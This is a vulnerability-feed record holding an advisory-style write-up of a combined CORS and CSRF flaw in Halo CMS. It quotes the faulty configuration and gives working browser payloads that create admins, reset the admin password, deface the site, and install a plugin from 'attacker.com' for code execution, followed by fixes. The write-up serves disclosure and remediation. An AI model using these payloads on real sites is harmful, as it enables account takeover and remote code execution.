{"uuid": "f94b38a7-ac7e-4565-b8c6-20d313dea547", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-67921", "type": "seen", "source": "https://gist.github.com/unpredictable21/01b053bcf8bb5a3c557df92f5c2c3c30", "content": "# CVE-2026-67921: Halo CMS CORS Misconfiguration + CSRF Protection Bypass Combined Attack\n\n## Summary\n\nA critical combined attack vulnerability exists in Halo CMS versions up to 2.25.4 due to two security misconfigurations:\n\n1. **CORS Misconfiguration**: The CORS policy allows `*` (any origin) with `credentials: true`\n2. **CSRF Protection Bypass**: All API endpoints (`/api/**`, `/apis/**`) are excluded from CSRF protection\n\nWhen combined, these allow an attacker to perform Cross-Site Request Forgery attacks from any origin, bypassing the Same-Origin Policy protection that CORS is designed to enforce.\n\n**CVSS v3.1 Score:** 9.3 (Critical)  \n**CVSS Vector:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N`  \n**CWE:** CWE-352 (Cross-Site Request Forgery) + CWE-942 (Permissive Cross-domain Policy)\n\n---\n\n## Affected Versions\n\n- Halo CMS \u2264 2.25.4\n- All versions with CORS enabled and CSRF disabled for API routes\n\n---\n\n## Vulnerability Details\n\n### Vulnerability 1: CORS Misconfiguration\n\n**File:** `application/src/main/java/run/halo/app/security/CorsConfigurer.java`\n\n```java\nCorsConfigurationSource apiCorsConfigSource() {\n    var configuration = new CorsConfiguration();\n    configuration.setAllowedOriginPatterns(List.of(\"*\"));   // \u2190 ANY origin\n    configuration.setAllowCredentials(true);                // \u2190 Allow cookies\n    configuration.setAllowedHeaders(List.of(\n        HttpHeaders.AUTHORIZATION,\n        HttpHeaders.CONTENT_TYPE,\n        HttpHeaders.ACCEPT,\n        \"X-XSRF-TOKEN\",\n        HttpHeaders.COOKIE));\n    configuration.setAllowedMethods(List.of(\"GET\", \"POST\", \"PUT\", \"DELETE\", \"PATCH\"));\n    source.registerCorsConfiguration(\"/api/**\", configuration);\n    source.registerCorsConfiguration(\"/apis/**\", configuration);\n    return source;\n}\n```\n\n**Impact:** Any website can make authenticated requests to Halo's API with the user's cookies.\n\n### Vulnerability 2: CSRF Protection Bypass\n\n**File:** `application/src/main/java/run/halo/app/security/CsrfConfigurer.java`\n\n```java\n@Override\npublic void configure(ServerHttpSecurity http) {\n    var csrfMatcher = new AndServerWebExchangeMatcher(\n        CsrfWebFilter.DEFAULT_CSRF_MATCHER,\n        new NegatedServerWebExchangeMatcher(\n            pathMatchers(\"/api/**\", \"/apis/**\", \"/actuator/**\", \"/system/setup\")),\n        // \u2190 API routes excluded from CSRF!\n        new NegatedServerWebExchangeMatcher(tokenAuthMatcher()));\n    http.csrf(csrfSpec -&gt; csrfSpec.csrfTokenRepository(new CookieServerCsrfTokenRepository())\n        .requireCsrfProtectionMatcher(csrfMatcher));\n}\n```\n\n**Impact:** API requests don't require CSRF tokens, even when authenticated via session cookies.\n\n---\n\n## Attack Mechanism\n\n### Why This Combination is Dangerous\n\n| Protection | Alone                                 | Combined             |\n| ---------- | ------------------------------------- | -------------------- |\n| CORS `*`   | Blocks credentials (browser enforces) | Credentials allowed! |\n| No CSRF    | Protected by Same-Origin Policy       | Bypassed by CORS!    |\n| **Result** | **Safe**                              | **Full CSRF**        |\n\n### The Attack Flow\n\n```\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502  Attacker hosts malicious page on evil.com                  \u2502\n\u2502     \u2502\n\u2502                              \u2502\n\u2502                                                      \u2502\n\u2502  document.forms[0].submit()               \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n                            \u2193\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502  Victim's browser visits evil.com                           \u2502\n\u2502  \u2192 Form auto-submits to Halo API                            \u2502\n\u2502  \u2192 Browser includes Session cookie automatically            \u2502\n\u2502  \u2192 CORS: Origin * + credentials: true \u2192 Request allowed!    \u2502\n\u2502  \u2192 CSRF: /apis/** excluded \u2192 No token required!             \u2502\n\u2502  \u2192 Request succeeds with victim's privileges                \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\n---\n\n## Exploitation Scenarios\n\n### Scenario 1: Create Admin User\n\n```html\n\n\n\n\n  \n  \n  \n  \n  \n\ndocument.getElementById('csrf-form').submit();\n\n\n```\n\n### Scenario 2: Change Admin Password\n\n```html\n\n\n\n\n  \n\n\n  var xhr = new XMLHttpRequest();\n  xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users/admin/password', true);\n  xhr.setRequestHeader('Content-Type', 'application/json');\n  xhr.withCredentials = true;\n  xhr.send(JSON.stringify({password: 'newpassword123'}));\n\n\n\n```\n\n### Scenario 3: Install Malicious Plugin (RCE)\n\n```html\n\n\n\n  var xhr = new XMLHttpRequest();\n  xhr.open('POST', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri', true);\n  xhr.setRequestHeader('Content-Type', 'application/json');\n  xhr.withCredentials = true;\n  xhr.send(JSON.stringify({uri: 'http://attacker.com/malicious-plugin.jar'}));\n\n\n\n```\n\n### Scenario 4: Modify Site Content\n\n```html\n\n\n\n  // Change site title\n  var xhr = new XMLHttpRequest();\n  xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/systemconfigs', true);\n  xhr.setRequestHeader('Content-Type', 'application/json');\n  xhr.withCredentials = true;\n  xhr.send(JSON.stringify({site: {title: 'Hacked by Attacker'}}));\n\n\n\n```\n\n---\n\n## Proof of Concept\n\n### Basic CSRF Test\n\nCreate `csrf-test.html`:\n\n```html\n\n\nHalo CSRF PoC\n\n\nHalo CORS+CSRF Attack PoC\n\nThis page will attempt to modify Halo settings when loaded.\n\n\n// Test CSRF by modifying site title\nvar xhr = new XMLHttpRequest();\nxhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/systemconfigs', true);\nxhr.setRequestHeader('Content-Type', 'application/json');\nxhr.withCredentials = true;\n\nxhr.onload = function() {\n    if (xhr.status === 200 || xhr.status === 204) {\n        document.body.innerHTML += '\nSUCCESS! CSRF attack worked.';\n    } else {\n        document.body.innerHTML += '\nFailed: ' + xhr.status + '';\n    }\n};\n\nxhr.send(JSON.stringify({\n    \"site\": {\n        \"title\": \"CSRF Attack Success - \" + new Date().toISOString()\n    }\n}));\n\n\n\n```\n\n### Verification Steps\n\n1. Open `csrf-test.html` in a browser while logged into Halo\n2. Check if the site title changed\n3. Check browser console for CORS headers:\n\n```\nAccess-Control-Allow-Origin: *\nAccess-Control-Allow-Credentials: true\n```\n\n---\n\n## Impact Analysis\n\n| Attack                   | Impact                 | Severity |\n| ------------------------ | ---------------------- | -------- |\n| Create admin user        | Full system compromise | Critical |\n| Change admin password    | Account takeover       | Critical |\n| Install malicious plugin | Remote Code Execution  | Critical |\n| Modify content           | Defacement             | High     |\n| Delete data              | Data loss              | High     |\n| Steal data               | Information disclosure | High     |\n\n---\n\n## Remediation\n\n### Fix 1: Restrict CORS Origins\n\n```java\n// Replace wildcard with specific origins\nconfiguration.setAllowedOriginPatterns(List.of(\n    \"https://yourdomain.com\",\n    \"https://admin.yourdomain.com\"\n));\n```\n\n### Fix 2: Enable CSRF for API Routes\n\n```java\n// Remove API exclusions from CSRF matcher\nvar csrfMatcher = new AndServerWebExchangeMatcher(\n    CsrfWebFilter.DEFAULT_CSRF_MATCHER,\n    new NegatedServerWebExchangeMatcher(tokenAuthMatcher()));\n```\n\n### Fix 3: Use Bearer Token Authentication\n\nFor API endpoints, prefer Bearer token authentication over session cookies, which are not vulnerable to CSRF.\n\n---\n\n## References\n\n- **Vendor**: https://github.com/halo-dev/halo\n- **CWE-352**: https://cwe.mitre.org/data/definitions/352.html\n- **CWE-942**: https://cwe.mitre.org/data/definitions/942.html\n\n---\n\n## Timeline\n\n- **Discovery Date**: 2026-07-10", "creation_timestamp": "2026-08-10T08:46:15.370859Z"}